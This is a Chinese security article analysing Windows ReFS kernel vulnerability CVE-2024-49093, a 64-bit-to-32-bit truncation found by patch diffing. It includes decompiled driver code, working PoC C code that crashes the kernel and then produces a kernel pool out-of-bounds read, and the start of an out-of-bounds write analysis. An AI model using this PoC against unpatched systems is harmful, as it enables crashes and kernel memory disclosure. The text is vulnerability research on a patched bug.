CVE-2024-49093(ReFS漏洞分析)
Windows内核漏洞CVE-2024-49093影响ReFS文件系统,因数值类型转换错误导致64位数据被截断为32位。该漏洞可触发文件尺寸不一致状态,造成内核池越界读/写。 2025-10-11 03:15:28 Author: www.freebuf.com(查看原文) 阅读量:19 收藏

前言

本文分析一个去年出现在 refs.sys 的 Windows 内核漏洞: CVE-2024-49093. 测试环境基于Windows 11 24H2(Build 26100)。

背景知识

ReFS(Resilient File System):是 Microsoft 开发的新一代文件系统,目标是最大化数据可用性、在多样化工作负载下高效扩展海量数据,并通过校验与修复增强数据完整性和抗损坏能力。ReFS 旨在解决不断扩展的存储需求,并为后续功能创新奠定基础。

在 ReFS 中,大多数对象以键值表的形式组织;其内部实现为 B+ 树,Microsoft 将该实现称为 MinStore B+。数据写入 ReFS 时不做就地更新,而是采取写时复制(Copy-on-Write,COW):有效载荷保存在叶节点,修改时生成新的叶节点承接旧数据再应用变更,并自底向上以 COW 方式更新父节点指针直至根。

常驻 / 非常驻(resident / non-resident):ReFS 将文件的名称、数据、ACL 等都抽象为“属性(attribute)”。当某个属性的数据较小即可内联存储于记录时称为 resident;否则切换为 non-resident,由一张 VCN→LCN 的运行列表(runlist)描述其落盘范围。

漏洞定位

官方公告:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49093

根据公告可以知道补丁后的版本为10.0.26100.2605,定位到补丁:KB5048667。

借助https://winbindex.m417z.com/?file=refs.sys这个网站,搜索过滤条件为10.0.26100:

可见 10.0.26100.2454 大概就是修复前的累积版本。将补丁前后refs.sys比较(bindiff):

补丁版仅新增两个函数,模式特征符合 WIL(Windows Implementation Library) 风格的“特性开关”检测。微软通过加开关而非直接改旧逻辑的方式修复,便于回滚与分阶段放量。

通过交叉引用,定位到被开关管控的函数:RefsAddAllocationForResidentWrite

漏洞成因分析

官方描述为 CWE-681: Incorrect Conversion between Numeric Types(数值类型转换不当)。

观察漏洞函数相关的反汇编代码:

char __fastcall RefsAddAllocationForResidentWrite(
        struct _IRP_CONTEXT *a1,
        struct _SCB *scb,
        struct _CCB *ccb,
        READ_RANGE *ranges)
{
  LARGE_INTEGER ValidDataLength; // xmm1_8
  char v9; // si
  int IsEnabledDeviceUsageNoInline; // eax
  unsigned int v11; // r8d
  int ver; // ecx
  bool patch_close; // zf
  int v14; // eax
  unsigned __int64 QuadPart; // rdx
  __int16 v16; // cx
  unsigned __int16 v17; // ax
  DWORD LowPart; // edx
  __int16 v19; // cx
  unsigned __int16 v20; // ax
  __int64 v21; // rcx
  struct _CC_FILE_SIZES v23; // [rsp+30h] [rbp-28h] BYREF

  ValidDataLength = scb->FileSizes.ValidDataLength;
  *(_OWORD *)&v23.AllocationSize.LowPart = *(_OWORD *)&scb->FileSizes.AllocationSize.LowPart;
  v9 = 0;
  v23.ValidDataLength = ValidDataLength;
  IsEnabledDeviceUsageNoInline = Feature_4213557561__private_IsEnabledDeviceUsageNoInline();
  v11 = 0x20000;
  ver = *((unsigned __int8 *)scb->VolumeContext + 792) << 8;
  patch_close = IsEnabledDeviceUsageNoInline == 0;
  v14 = *((unsigned __int8 *)scb->VolumeContext + 793);
  if ( !patch_close )
  {
    if ( (v14 | (unsigned int)ver) < 0x30B && ranges->end.QuadPart > 0x20000 )
    {
      if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
        && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0
        && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u )
      {
        WPP_SF_D(
          WPP_GLOBAL_Control->AttachedDevice,
          61LL,
          &WPP_4cc128319a6039b1fc529169f1e3c3a9_Traceguids,
          0xC0000427LL);
      }
      if ( (_BYTE)RefsStatusDebugEnabled )
        RefsStatusDebug(0xC0000427, a1, "write.c", 0x1097u);
      RefsRaiseStatusInternal(a1, 0xC0000427, v11);
      __debugbreak();
    }
    QuadPart = ranges->end.QuadPart;
    if ( ccb )
    {
      v16 = *((_WORD *)ccb + 41);
      if ( v16 )
      {
        QuadPart = scb->FileSizes.AllocationSize.LowPart + ((QuadPart - scb->FileSizes.AllocationSize.LowPart) << v16);
        if ( QuadPart > 0x20000 )
          QuadPart = 0x20000LL;
        if ( (scb->ScbState & 1) == 0 )
          _InterlockedOr(&scb->ScbState, 1u);
      }
      v17 = *((_WORD *)ccb + 41);
      if ( v17 < 4u )
        *((_WORD *)ccb + 41) = v17 + 1;
    }
    if ( (*((unsigned __int8 *)scb->VolumeContext + 793) | (*((unsigned __int8 *)scb->VolumeContext + 792) << 8)) < 0x30Bu// ver
      || QuadPart < 0x800 )
    {
      v23.AllocationSize.QuadPart = QuadPart;
      v23.FileSize.QuadPart = QuadPart;
      goto LABEL_29;
    }
LABEL_27:
    RefsConvertToNonResident(a1, scb);
    return 1;
  }
  if ( (v14 | (unsigned int)ver) < 0x30B && ranges->end.QuadPart > 0x20000 )// 如果版本小于0x30B并且写入的End指针大于0x20000
  {
    if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
      && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0
      && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u )
    {
      WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 62LL, &WPP_4cc128319a6039b1fc529169f1e3c3a9_Traceguids, 0xC0000427LL);
    }
    if ( (_BYTE)RefsStatusDebugEnabled )
      RefsStatusDebug(0xC0000427, a1, "write.c", 0x10EFu);
    RefsRaiseStatusInternal(a1, 0xC0000427, v11);
    JUMPOUT(0x1C00F3262LL);
  }
  LowPart = ranges->end.LowPart;
  if ( ccb )
  {
    v19 = *((_WORD *)ccb + 41);
    if ( v19 )
    {
      LowPart = scb->FileSizes.AllocationSize.LowPart + ((LowPart - scb->FileSizes.AllocationSize.LowPart) << v19);
      if ( LowPart > 0x20000 )
        LowPart = 0x20000;
      if ( (scb->ScbState & 1) == 0 )
        _InterlockedOr(&scb->ScbState, 1u);
    }
    v20 = *((_WORD *)ccb + 41);
    if ( v20 < 4u )
      *((_WORD *)ccb + 41) = v20 + 1;
  }
  if ( (*((unsigned __int8 *)scb->VolumeContext + 793) | (*((unsigned __int8 *)scb->VolumeContext + 792) << 8)) >= 0x30Bu
    && LowPart >= 0x800 )
  {
    goto LABEL_27;
  }
  v23.AllocationSize.QuadPart = LowPart;
  v23.FileSize.QuadPart = LowPart;
LABEL_29:
  v23.ValidDataLength.QuadPart = scb->FileSizes.ValidDataLength.QuadPart;
  RefsWriteFileSizes(a1, scb, &v23, 1u);
  v21 = v23.AllocationSize.QuadPart;
  scb->FileSizes.AllocationSize.QuadPart = v23.AllocationSize.QuadPart;
  if ( scb->NodeTypeCode == 0x805 )
    scb->ValidDataHighWatermark = v21;
  return v9;
}

通过动态调试,可以分析出第四个参数的结构体字段含义;分别是WriteFile写入时的偏移、偏移+写入长度指向的末尾、写入的长度。

struct READ_RANGE {  LARGE_INTEGER offset;  LARGE_INTEGER end;  LARGE_INTEGER size; };

漏洞函数分析

这个函数作用是什么?我们只分析 ReFS 版本 ≥ 3.11 的情况

  • 函数处理驻留(resident)数据流的写入路径;阈值为 0x800(2 KiB)
  • 当写入末端ranges->end未超过常驻阈值时:通过扩驻留满足写入。
  • 当写入末端 超过常驻阈值时:把流从驻留转换为非驻留,返回True,随后由RefsAddAllocationForNonResidentWrite执行真正的非驻留扩展。
  • 代码中的ccb某字段(*((WORD*)ccb + 41))用于在短时间多次写入时做指数式增长(最多+4),再以0x20000做上限收敛;这属于写入放大控制的实现细节,对我们分析这个漏洞没有太大影响。

漏洞分析

分析补丁前后的两个代码分支,可以很明显地看到差异点:end使用 64 位(QuadPart)还是误用 32 位(LowPart

存在补丁的分支:

QuadPart = ranges->end.QuadPart;
// 检查阈值(ReFS ≥ 3.11:0x800)
v23.AllocationSize.QuadPart = QuadPart;
v23.FileSize.QuadPart = QuadPart;

没有补丁(存在漏洞)分支:

LowPart = ranges->end.LowPart;
// 检查阈值(ReFS ≥ 3.11:0x800)
v23.AllocationSize.QuadPart = LowPart;
v23.FileSize.QuadPart = LowPart;

也就是说,漏洞路径把本应 64 位的写入末端end截断成了 32 位LowPart,然后用这个截断值去做阈值判断和尺寸更新,导致与实际数据范围不一致的问题。这与官方描述的 “数字类型之间的转换不正确” 吻合。

PoC

使用 ReFS 文件系统可能需要升级到工作站版,升级完毕后,需要创建一个 ReFS 格式的R盘。

依据上一步的漏洞分析,要触发漏洞我们只需要保证下面的两个条件:

  • (size + offset)高 32 位不为 0(即写入末端跨过 4 GiB 边界);
  • (size + offset)低 32 位 < 0x800(让阈值判断落入“驻留仍可扩”的错误分支)。

可以非常容易写出下面的PoC代码:

HANDLE hc = CreateFileW(
    L"R:\\233333",
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL);
DWORD written = 0;
BYTE ddd[0x40];
OVERLAPPED ov = {};
ov.Offset     = 0;   // 低 32 位
ov.OffsetHigh = 1;   // 高 32 位非 0,写末端跨 4GiB
WriteFile(hc, ddd, sizeof(ddd), &written, &ov);

崩溃栈:

BUGCHECK_CODE:  34

BUGCHECK_P1: 59d

BUGCHECK_P2: ffffffffc0000420

BUGCHECK_P3: 0

BUGCHECK_P4: 0

EXCEPTION_RECORD:  ffffffffc0000420 -- (.exr 0xffffffffc0000420)
Cannot read Exception record @ ffffffffc0000420

PROCESS_NAME:  poc.exe

STACK_TEXT:  
fffff28b`362c6628 fffff803`9b7714c2     : fffff28b`362c66a8 00000000`00000001 00000000`00000100 fffff803`9b893601 : nt!DbgBreakPointWithStatus
fffff28b`362c6630 fffff803`9b7709ec     : 00000000`00000003 fffff28b`362c6790 fffff803`9b893820 00000000`00000034 : nt!KiBugCheckDebugBreak+0x12
fffff28b`362c6690 fffff803`9b6b8657     : ffffa505`7dee3090 fffff803`9b41a9ed ffffa505`00001000 fffff803`9b47450e : nt!KeBugCheck2+0xb2c
fffff28b`362c6e20 fffff803`9b51261d     : 00000000`00000034 00000000`0000059d ffffffff`c0000420 00000000`00000000 : nt!KeBugCheckEx+0x107
fffff28b`362c6e60 fffff803`9b512f3b     : fffff28b`00000000 00000001`00000000 fffff28b`362c6f78 fffff28b`362c6f50 : nt!CcGetVirtualAddress+0x5cd
fffff28b`362c6ef0 fffff803`9b512940     : ffffa505`804205e0 000000db`32dcfa60 fffff28b`362c7140 ffffc801`00000400 : nt!CcMapAndCopyInToCache+0x45b
fffff28b`362c70d0 fffff803`9b671629     : 00000000`00000001 ffffa505`7eab11a0 ffffc801`768c2230 ffffc801`768c2201 : nt!CcCopyWriteEx+0x170
fffff28b`362c7180 fffff803`30b06f91     : ffffc801`768c2230 000000db`32dcfa60 ffffa505`7b7abd40 ffffa505`7eab11a0 : nt!CcCopyWrite+0x19
fffff28b`362c71c0 fffff803`30b069e1     : ffffa505`7ba81010 ffffa505`7c570790 ffffa505`7eab11a0 00000000`00000000 : ReFS!RefsCopyWriteInternal+0x591
fffff28b`362c75c0 fffff803`2d00b192     : fffff28b`362c7729 000000db`32dcfa60 fffff28b`362c76e0 000000db`32dcfa60 : ReFS!RefsCopyWriteA+0x71
fffff28b`362c7640 fffff803`2d0094b1     : fffff28b`362c77c0 fffff28b`362c7729 ffffa505`7fbad010 ffffa505`7fbad110 : FLTMGR!FltpPerformFastIoCall+0xb2
fffff28b`362c76a0 fffff803`2d06caa2     : fffff28b`362c1000 00000000`00000000 ffffa505`7eab11a0 00000000`00000000 : FLTMGR!FltpPassThroughFastIo+0x121
fffff28b`362c7790 fffff803`9ba8d1e4     : fffff28b`362c7800 00000000`00000000 00000000`00000000 fffff803`2d06c930 : FLTMGR!FltpFastIoWrite+0x172
fffff28b`362c7840 fffff803`9ba8ce2f     : ffffa505`7eab11a0 ffffa505`7eab1170 00000000`00000000 00000000`00000000 : nt!IopWriteFile+0x1c4
fffff28b`362c7960 fffff803`9b88d155     : 00000000`0012019f 00000000`00000000 00000000`00000000 000000db`32dcfa38 : nt!NtWriteFile+0x2cf
fffff28b`362c7a30 00007ffd`bb6ff824     : 00007ffd`b8a40f7a 00000000`00000000 00007ffd`b8a187ab 00000000`00000008 : nt!KiSystemServiceCopyEnd+0x25
000000db`32dcf968 00007ffd`b8a40f7a     : 00000000`00000000 00007ffd`b8a187ab 00000000`00000008 000002b1`60503930 : ntdll!NtWriteFile+0x14
000000db`32dcf970 00007ff7`319911af     : 000002b1`60500b60 00000000`00000000 00000000`00000470 000000db`32dcfa20 : KERNELBASE!WriteFile+0x11a
000000db`32dcf9e0 000002b1`60500b60     : 00000000`00000000 00000000`00000470 000000db`32dcfa20 00000001`00000000 : poc+0x11af
000000db`32dcf9e8 00000000`00000000     : 00000000`00000470 000000db`32dcfa20 00000001`00000000 000000db`00000080 : 0x000002b1`60500b60

但是错误码0x34的crash并不是由内存破坏导致的,而是触发了文件缓存管理器的断言检查(缓存路径在尺寸不一致时会触发断言),导致快速I/O失败,并不能用于漏洞利用。因此 PoC 需要在CreateFileW时加上FILE_FLAG_NO_BUFFERING走非缓存 I/O。

非缓存 I/O 在ReadFile/WriteFile时,长度和偏移需要满足下面的对齐条件:

  • 传输长度必须是卷扇区大小的整数倍(如 512/4096);
  • 文件偏移必须从扇区对齐的偏移开始。

使用FILE_FLAG_NO_BUFFERING标志重新编写PoC代码:

HANDLE h = CreateFileW(
    L"R:\\233333",
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING,
    NULL);
DWORD written = 0;
BYTE ddd[0x200];
OVERLAPPED ov = {};
ov.Offset = 0;
ov.OffsetHigh = 1;
WriteFile(h, ddd, sizeof(ddd), &written, &ov);

我们可以通过打印数据流的信息观察到漏洞造成的效果(分配大小≪文件大小):

Z:\22>poc.exe
Write 512 bytes
[Standard] AllocationSize = 0x200 bytes, EndOfFile(FileSize) = 0x100000200 bytes, Links=1, Dir=0, DeletePending=0
[Streams]
  ::$DATA                   StreamSize=0x100000200  StreamAllocationSize=0x200
复现时建议关闭 EDR/安全中心的“驱动器保护”,否则其后台扫描会触发大范围读取,导致越界访问后蓝屏。

漏洞利用

本文仅分析到如何在内核池中实现越界读/写为止。

越界读

之前的 PoC 已将文件的数据流保持为 resident,仅分配0x200字节,同时把文件的 EndOfFile 扩大到0x100000200,制造了AllocationSize ≪ FileSize的不一致状态:真实可用数据区远小于文件声明的大小。

那么很自然地可以想到如果使用ReadFile读取一个大于0x200字节长度的数据,是否就能直接越界读了?

下面以读取 0x1000 为例。先写入 0x200 个'A',随后读 0x1000。如果bytesRead == 0x1000,且hexdump打印中 0x200 之后仍有非零数据,即说明越界读成功。

HANDLE h = CreateFileW(
    L"R:\\233333",
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING,
    NULL);
DWORD written = 0;
BYTE ddd[0x200];
memset(ddd, 'A', sizeof(ddd));
OVERLAPPED ov = {};
ov.Offset = 0;
ov.OffsetHigh = 1;
WriteFile(h, ddd, sizeof(ddd), &written, &ov);

DWORD readBytes = 0x1000;
LPVOID buf1 = VirtualAlloc(nullptr, readBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memset(buf1, 0, readBytes);
DWORD bytesRead = 0;
ov.Offset = 0;
ov.OffsetHigh = 0;
ok = ReadFile(h, buf1, readBytes, &bytesRead, &ov);
if (!ok) {
    printf("ReadFile failed: %lu\n", GetLastError());
}
else {
    printf("Read %lu bytes\n", bytesRead);
    hexdump(buf1, bytesRead);
}

打印结果:

可以看到确实越界读出了数据,那么这些数据从哪来、落在哪个内核池里?

调用栈:

00 ffffab00`dc1aea78 fffff804`6c88b108     ReFS!RefsNonCachedResidentRead
01 ffffab00`dc1aea80 fffff804`6c8b8caa     ReFS!RefsCommonRead+0x10b8
02 ffffab00`dc1aec20 fffff804`d5cf79fe     ReFS!RefsFsdRead+0x61a
03 ffffab00`dc1af000 fffff804`67736afc     nt!IofCallDriver+0xbe

下面分析RefsNonCachedResidentRead函数

void __fastcall RefsNonCachedResidentRead(_IRP_CONTEXT *a1, _IRP *a2, _SCB *a3, READ_RANGE *a4)
{
  // 1) 绑定事务、构造键,用于在 MinStore B+ 表中定位这条常驻属性
  memset(&v27, 0, sizeof(v27));
  memset(&key, 0, sizeof(key));
  CmsTable = (CmsTable *)*((_QWORD *)a3->Fcb + 32);
  RefsBindMinstoreTransaction(a1);
  inited = MsInitRowWithBuffer(&v27);
  Row = RefsInitializeScbAttributeKey(a3, &key, 0);
  if (Row >= 0)
  {
    // 2) MsFindRow(… , &key , inited) 查出记录,并把页上的那行拷到 inited 指向的缓冲
    Row = MsFindRow(*((CmsVolume ***)a1 + 3), CmsTable, (__int64)&key);
    if (Row >= 0)
    {
      BYTE *Buffer = (BYTE *)inited->val_ptr;   // 注意:val_ptr 已被 MsFindRow/CopyRow 填充
      unsigned val_len = inited->val_len;

      // 3) 一系列边界合法性检查(略)
      //    读取 value 内部“用户负载”的起始偏移:
      unsigned valueOffset = *(DWORD*)&Buffer[*(USHORT*)(Buffer+8)] + *(USHORT*)(Buffer+8);

      // 4) 将用户态缓冲映射出来,然后把 [valueOffset + a4->Offset, 长度 a4->Length]
      //    直接 memmove 给用户
      void* user = RefsMapUserBuffer(a2);
      memmove(user, &Buffer[a4->Offset + valueOffset], a4->Length);
      a2->IoStatus.Information = a4->Length;
      a2->IoStatus.Status = Row;
    }
  }
}

该函数大致做了以下:

  1. 绑定事务并构造键(由RefsInitializeScbAttributeKey生成),用于在 MinStore B+ 表中定位常驻属性行;
  2. MsFindRow(..., key, outRow)搜索记录,并将页内行通过CmsRowWithBuffer::CopyRow拷贝到outRow
  3. inited上获取拷贝的源指针Buffer,随后将[valueOffset + a4->Offset, 长度 a4->Length]直接memmove到用户缓冲。

但是从IDA的反汇编代码来看,MsInitRowWithBuffer只是把inited清零并让它的storage指向 0x20 字节的内联缓冲;为什么MsFindRow之后inited->val_ptr就成为一段可读的记录值?

这要结合调用约定和汇编看实参位置:

RefsNonCachedResidentRead:
.text:00000001C00E3F8B                 call    MsInitRowWithBuffer
.text:00000001C00E3F90                 mov     r14, rax
.....
.text:00000001C00E3FB6                 mov     [rsp+20h], r14
.text:00000001C00E3FBB                 lea     r8, [rsp+148h+key]
.text:00000001C00E3FC0                 mov     rdx, rsi
.text:00000001C00E3FC3                 call    MsFindRow

将初始化后的inited指针写到了[rsp+0x20h],然后调用MsFindRow

MsFindRow:
.text:00000001C00C8310                 sub     rsp, 48h
.text:00000001C00C8314                 mov     rax, rdx
.text:00000001C00C8317                 mov     r9, [rsp+70h]
.text:00000001C00C831C                 mov     rdx, rcx
.text:00000001C00C831F                 mov     rcx, rax
.text:00000001C00C8322                 call    ?FindRow@CmsTable@@QEAAJPEAVCmsTransactionContext@@AEBU_CmsKey@@PEAVCmsRowWithBuffer@@W4Value@EmsPinRowFlags@@@Z ; CmsTable::FindRow(CmsTransactionContext *,_CmsKey const &,CmsRowWithBuffer *,EmsPinRowFlags::Value)

MsFindRow首先调整栈指针,然后将[rsp+70h]的值作为第四个参数,通过计算0x70 - 0x48 - 8 = 0x20,可以发现实际上MsFindRow的第四个变量其实就对应RefsNonCachedResidentRead函数的[rsp+0x20],也就是inited指针。

继续分析MsFindRowMsFindRow仅仅是把参数原封不动传给CmsTable::FindRow,而后者会PinInIndex找到页上对应的记录,再调用CmsTable::OutputRow生成一个_CmsRow视图,最终交给:

return CmsRowWithBuffer::CopyRow(a4 /*inited*/, &row, 0);

继续分析CmsRowWithBuffer::CopyRow函数:

__int64 __fastcall CmsRowWithBuffer::CopyRow(struct CmsRowWithBuffer *cmsBuffer, const struct _CmsRow *a2, int a3)
{
  // ....

  val_len = a2->val_len;
  if ( (_DWORD)val_len )
  {
    key_ptr = a2->key.ptr;
    p_key_ptr = &a2->key.ptr;
    val_ptr = a2->val_ptr;
    p_val_ptr = &a2->val_ptr;
    if ( key_ptr >= val_ptr )
    {
      v11 = (unsigned int)val_len;
      if ( key_ptr <= &val_ptr[val_len] )       // 这两个判断检查key指针是否在value区间内
      {
        v12 = ((a3 + 7) & 0xFFFFFFF8) + ((val_len + 7) & 0xFFFFFFF8);
        goto LABEL_11;
      }
    }
  }
  key_len = (unsigned int)a2->key.len;
  v11 = val_len;
  if ( !(_DWORD)key_len || !(_DWORD)val_len )
  {
    p_key_ptr = &a2->key.ptr;
    p_val_ptr = &a2->val_ptr;
LABEL_9:
    v16 = (key_len + 7) & 0xFFF8;
    goto LABEL_10;
  }
  ptr = a2->key.ptr;
  p_key_ptr = &a2->key.ptr;
  v15 = a2->val_ptr;
  p_val_ptr = &a2->val_ptr;
  if ( &ptr[key_len] < v15 || &ptr[key_len] > &v15[val_len] )// if(key_end_ptr < val_ptr || key_end_ptr > val_end_ptr)
    goto LABEL_9;
  v16 = (_WORD)v15 - (_WORD)ptr;                // val_ptr - key_ptr 计算两个空间的间隙
LABEL_10:
  v12 = v16 + ((val_len + 7) & 0xFFFFFFF8) + ((a3 + 7) & 0xFFFFFFF8);// val_len 8字节向上取整
  if ( !(_DWORD)val_len )
  {
LABEL_13:
    v17 = 0;
    goto LABEL_14;
  }
LABEL_11:
  if ( *p_key_ptr < *p_val_ptr || *p_key_ptr > &(*p_val_ptr)[v11] )
    goto LABEL_13;
  v17 = 1;
LABEL_14:
  if ( !cmsBuffer->storage )
    CmsRowWithBuffer::Reset(cmsBuffer);
  if ( v12 > cmsBuffer->capacity )              // 如果大于之前的空间,则要重新创建新的空间
  {
    v18 = 8 * ((unsigned __int64)v12 >> 3);     // 保证8字节对齐
    if ( !is_mul_ok((unsigned __int64)v12 >> 3, 8uLL) )
      v18 = -1LL;
    PoolWithTag = (BYTE *)ExAllocatePoolWithTag((POOL_TYPE)0x200, v18, 'iPSM');
    if ( !PoolWithTag )
      return 0xC000009ALL;
    if ( (cmsBuffer->flags & 1) != 0 )          // 如果之前已经用是申请的池空间
    {
      storage = cmsBuffer->storage;
      if ( storage )
        ExFreePoolWithTag(storage, 0);          // 那么需要还要释放掉之前的空间
    }
    cmsBuffer->flags |= 1u;
    cmsBuffer->storage = PoolWithTag;           // 赋值新的
    cmsBuffer->capacity = v12;
  }
  v20 = cmsBuffer->storage;
  v21 = &cmsBuffer->row.val_ptr;
  cmsBuffer->row.key.ptr = v20;
  len = a2->key.len;
  cmsBuffer->row.key.len = a2->key.len;
  cmsBuffer->row.val_ptr = v20;
  cmsBuffer->row.val_len = a3 + a2->val_len;
  if ( v17 )
  {
    v20 += (unsigned int)(LODWORD(a2->key.ptr) - LODWORD(a2->val_ptr));
    cmsBuffer->row.key.ptr = v20;
    goto LABEL_29;
  }
  v23 = (unsigned int)a2->key.len;
  if ( (_DWORD)v23 && (v24 = a2->val_len, (_DWORD)v24) )
  {
    v25 = a2->key.ptr;
    v26 = a2->val_ptr;
    if ( &v25[v23] >= v26 )
    {
      v21 = &cmsBuffer->row.val_ptr;
      if ( &v25[v23] <= &v26[v24] )
      {
        v27 = (_WORD)v26 - (_WORD)v25;
        goto LABEL_28;
      }
    }
  }
  else
  {
    LOWORD(v23) = a2->key.len;
  }
  v27 = (v23 + 7) & 0xFFF8;
LABEL_28:
  *v21 = &v20[v27];
LABEL_29:
  if ( len )
    *(_QWORD *)&v20[((len + 7) & 0xFFFFFFF8) - 8] = 0LL;
  v28 = cmsBuffer->row.val_len;
  if ( v28 )
    *(_QWORD *)&(*v21)[((v28 + 7) & 0xFFFFFFF8) - 8] = 0LL;
  cmsBuffer->row.key.flags = a2->key.flags;
  v29 = a2->key.ptr;
  if ( (unsigned __int64)(v29 - 2) <= 2 )
    cmsBuffer->row.key.ptr = v29;
  else
    memmove(cmsBuffer->row.key.ptr, v29, (unsigned int)a2->key.len);
  memmove(cmsBuffer->row.val_ptr, a2->val_ptr, a2->val_len);
  return 0LL;
}

直接从函数名来看CmsRowWithBuffer::CopyRow函数的作用就是把_CmsRow复制进CmsRowWithBuffer.

CmsRowWithBuffer:键值行副本缓冲;它里面既有一个_CmsRow,也有承载实际字节的空间。

struct _CmsKey
{
  __int32 len;
  __int16 flags;
  __int16 field_6;
  BYTE *ptr;
};
struct _CmsRow
{
  _CmsKey key;
  unsigned int val_len;
  BYTE *val_ptr;
};
struct CmsRowWithBuffer
{
  _CmsRow row;
  BYTE *storage;
  __int8 flags;
  __int32 capacity;
  __int8 inline_storage[32];
};

初始时storage指针指向inline_storage数组,capacity为0x20。

CmsRowWithBuffer::CopyRow其中有很多计算key_ptrval_ptr重叠和间隙的代码,这里暂不分析其作用;

现在主要分析if ( v12 > cmsBuffer->capacity )里的代码,前面提到每个CmsRowWithBuffer里面都有0x20字节的内联,如果val_len大于capacity,那么就会尝试从池内存新开辟一段内存,然后替换掉原来的storage指针,并更新capacityflags用于标记之前是否已经申请过池内存了,如果为1,则还需要释放掉原先申请的池内存。

以之前PoC代码为例,第一步WriteFile写入的数据流长度为0x200,加上0x3C的头长度,8字节向上取整以后,由此ExAllocatePoolWithTag会在池中分配 0x250 字节。

最后CmsRowWithBuffer::CopyRow会调用memmove将之前的数据拷贝到新的内存上,完成对cmsBuffer的拷贝,并返回给RefsNonCachedResidentRead

RefsNonCachedResidentReadcmsBuffer取出val_ptr指针,也就是CmsRowWithBuffer::CopyRow申请的池内存作为memove的src指针,拷贝的长度为ReadFile指针的size。

总结:我们可以利用漏洞制造一个AllocationSize ≪ FileSize 的不一致状态的文件,然后读取一个超过写入长度的数据造成OOB read。

由于非缓存I/O的限制WriteFilesize必须是扇区大小的倍数,且要小于常驻阈值0x800,因此能够申请的长度为0x200、0x400、0x600,那么能够越界读的池长度为0x260、0x460、0x660;

越界写

WriteFile能否像ReadFile那样直接进行越界写?下面分析写入时最关键的函数:

__int64 __fastcall RefsResidentWrite(
        struct CmsTransactionContext **a1,
        struct _IRP *a2,
        struct _SCB *scb,
        int offset,
        unsigned int BytesToWrite)
{
  char v9; // r14
  NTSTATUS v10; // ebx
  BYTE *UserBuffer; // r9
  CmsVolume **v12; // rcx
  CmsBPlusTable **Fcb; // rax
  NTSTATUS updated; // eax
  NTSTATUS v15; // ebx
  unsigned int v16; // r8d
  unsigned int v17; // r8d
  __int64 *v19; // [rsp+20h] [rbp-A8h]
  __int64 v20[2]; // [rsp+30h] [rbp-98h] BYREF
  CmsRowWithBuffer v21; // [rsp+40h] [rbp-88h] BYREF

  memset(&v21, 0, sizeof(v21));
  v9 = 0;
  RefsBindMinstoreTransaction((struct _IRP_CONTEXT *)a1);
  v10 = RefsInitializeScbAttributeKey(scb, &v21, 1);
  if ( v10 >= 0 )
  {
    if ( a2 )
    {
      UserBuffer = (BYTE *)RefsMapUserBuffer(a2);
      if ( (a2->Flags & 2) != 0 )
      {
        v9 = 1;
        *(_QWORD *)a1[3] |= 0x4000000uLL;
      }
    }
    else
    {
      UserBuffer = (BYTE *)&P;
    }
    v12 = (CmsVolume **)a1[3];
    v20[0] = (unsigned int)(offset + scb->AttributeHdrLength);
    Fcb = (CmsBPlusTable **)scb->Fcb;
    v20[1] = BytesToWrite;
    v19 = v20;
    updated = MsUpdateMetaRow(v12, Fcb[32], &v21, UserBuffer);
    // ...
}

这里和读路径类似,RefsResidentWrite也是先由RefsInitializeScbAttributeKey构造行键;

这个函数同样有之前的IDA反汇编问题,实际上还封装了写入的范围__int64 v20[2]作为MsUpdateMetaRow的第五个参数,这俩个值分别为offset + scb->AttributeHdrLengthBytesToWrite

之后调用MsUpdateMetaRow进行更新。

// positive sp value has been detected, the output may be wrong!
__int64 __fastcall MsUpdateMetaRow(CmsVolume **a1, CmsBPlusTable *a2, CmsRowWithBuffer *a3, BYTE *UserBuffer)
{
  _QWORD *v6; // r14
  CmsVolume *v7; // rcx
  __int64 v8; // r10
  CmsBPlusTable *v9; // r11
  int v10; // edi
  int v11; // ebx
  unsigned int val_len; // r12d
  __int64 v13; // r15
  int v14; // r9d
  unsigned int v15; // edi
  unsigned int v16; // r12d
  struct SmsLookupStack *v17; // rax
  __int64 v18; // r15
  __int64 v21; // [rsp+10h] [rbp-218h]
  _CmsKey key; // [rsp+18h] [rbp-210h] BYREF
  CmsRowWithBuffer v23; // [rsp+28h] [rbp-200h] BYREF
  unsigned int v24; // [rsp+78h] [rbp-1B0h]
  int v25; // [rsp+7Ch] [rbp-1ACh]
  BYTE *v26; // [rsp+80h] [rbp-1A8h]
  __int64 v27; // [rsp+88h] [rbp-1A0h] BYREF
  __int128 v28; // [rsp+A0h] [rbp-188h]
  int v29; // [rsp+B0h] [rbp-178h]
  __int64 v30; // [rsp+B8h] [rbp-170h] BYREF
  struct CmsTableCursor CmsTableCursor; // [rsp+E8h] [rbp-140h] BYREF
  BYTE *v32; // [rsp+210h] [rbp-18h]
  _QWORD *v33; // [rsp+218h] [rbp-10h]

  v6 = v33;
  LOWORD(v28) = 0;
  v29 = 0;
  CmsRowWithBuffer::GetPhysicalKey(a3, &key);
  CmsMatchAllCursor::CmsMatchAllCursor((CmsMatchAllCursor *)&CmsTableCursor, &key);
  memset(&v23, 0, 0x14);
  v23.row.val_ptr = 0LL;
  CmsVolume::BeginTopLevelActionInternal(
    v7,
    (struct CmsTransactionContext *)a1,
    (struct _SmsTopLevelAction *)&v27,
    0,
    0);
  if ( (*(_DWORD *)(*((_QWORD *)v9 + 3) + 44LL) & 1) != 0 )
